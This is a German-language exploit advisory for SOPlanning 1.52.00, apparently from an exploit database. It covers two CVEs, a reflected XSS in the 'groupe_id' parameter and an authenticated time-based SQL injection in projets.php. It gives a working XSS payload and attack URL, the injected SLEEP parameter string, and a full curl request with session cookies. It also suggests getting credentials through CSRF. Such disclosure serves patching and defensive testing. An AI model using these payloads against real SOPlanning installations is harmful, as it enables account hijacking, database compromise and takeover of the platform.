
SOPlanning 1.52.00 CSRF/SQLi/XSS (CVE-2024-33722, CVE-2024-33724)
Exploit-Titel: SOPlanning v1.52.00 'groupe_save.php' XSS (Reflektiertes XSS)
Anwendung: SOPlanning
Version: 1.52.00
Datum: 22.04.2024
Exploit-Autor: Joseph McPeters (Liquidsky)
Hersteller-Website: https://www.soplanning.org/en/
Software-Link: https://sourceforge.net/projects/soplanning/
Getestet auf: Linux
CVE: CVE-2024-33724
Exploit: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-XSS-README.txt
Beschreibung: SOPlanning v1.52.00 ist anfällig für XSS über den Parameter 'groupe_id'. Ein entfernter, nicht authentifizierter Angreifer kann das Admin-Konto oder andere Benutzer kapern. Der entfernte Angreifer kann die Sitzung oder Anmeldedaten eines Benutzers kapern und die gesamte Plattform übernehmen.
Beispiel-Payload: "><!--
Reflektierter XSS-Link: /soplanning/www/process/groupe_save.php?saved=1&groupe_id="><!--&nom=Project+New
Analyse: Die Zielseite berücksichtigt den Benutzereingabeparameter und leitet dann auf eine Seite weiter, auf der der XSS angezeigt wird. Die im Exploit enthaltene Payload entkommt der Variable, in der sie gehalten wird, und kommentiert den Rest aus, um einen gültigen Reflected-XSS-Angriff gegen jeden authentifizierten Benutzer, einschließlich des Admins, durchzuführen.
Exploit-Titel: SOPlanning v1.52.00 'projets.php' SQLi
Anwendung: SOPlanning
Version: 1.52.00
Datum: 22.04.2024
Exploit-Autor: Joseph McPeters (Liquidsky aka fuzzlove)
Hersteller-Website: https://www.soplanning.org/en/
Software-Link: https://sourceforge.net/projects/soplanning/
Getestet auf: Linux
CVE: CVE-2024-33722
Exploit: https://github.com/fuzzlove/soplanning-1.52-exploits/blob/main/soplanning-sqli-README.txt
Beschreibung: SOPlanning v1.52.00 ist anfällig für authentifizierte SQL-Injection über die Seite 'projects.php'.
Anleitung: Authentifizieren Sie sich am Host. Die Anmeldedaten können mithilfe eines CSRF-Exploits erlangt werden (weitere Informationen enthalten). Sobald gültige Anmeldedaten vorliegen, verwenden Sie entweder eine GET- oder POST-Anfrage, um die gültigen Parameter zu senden, die einer gültigen SQLi entsprechen.
Verwundbare Anfrageparameter für die Anfrage an "/www/projets.php":
filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test
Die obigen Parameter können als gültige GET- oder POST-Anfrage gesendet werden, um die SQLi auszulösen. Beispiel-Curl-Anfrage zum erneuten Testen der SQLi:
curl -i -s -k -X $'POST'
-H $'Host: 127.0.0.1' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 130' -H $'Origin: http://127.0.0.1' -H $'Connection: close' -H $'Referer: http://127.0.0.1/soplanning/www/projets.php' -H $'Upgrade-Insecure-Requests: 1' -H $'Sec-Fetch-Dest: document' -H $'Sec-Fetch-Mode: navigate' -H $'Sec-Fetch-Site: same-origin' -H $'Sec-Fetch-User: ?1'
-b $'dateDebut=23/04/2024; dateFin=23/06/2024; xposMoisWin=0; xposJoursWin=0; yposMoisWin=0; yposJoursWin=0; yposProjets=33; PHPSESSID=ovpbclvbc87uh7anfbq2luf9bi; soplanningplanning_=hhrtf0rgs562vm8rhn5i641481; baseLigne=users; baseColonne=jours; afficherTableauRecap=1; masquerLigneVide=0; statut_projet=%5B%22abort%22%2C%22archive%22%2C%22done%22%2C%22progress%22%2C%22todo%22%5D'
--data-binary $'filtreGroupeProjet=1&statut[]=todo'+AND+(SELECT+8073+FROM+(SELECT(SLEEP(10)))PuxA)+AND+'Liquidsky'='Liquidsky&rechercheProjet=test'
$'http://127.0.0.1/soplanning/www/projets.php'
Hinweis: Cookies müssen authentifiziert sein und die Anfrage muss gültig sein, damit eine gültige SQLi möglich ist. Diese Curl-Anfrage kann mit einem Proxy verwendet werden, um eine gültige Anfrage zu rekonstruieren.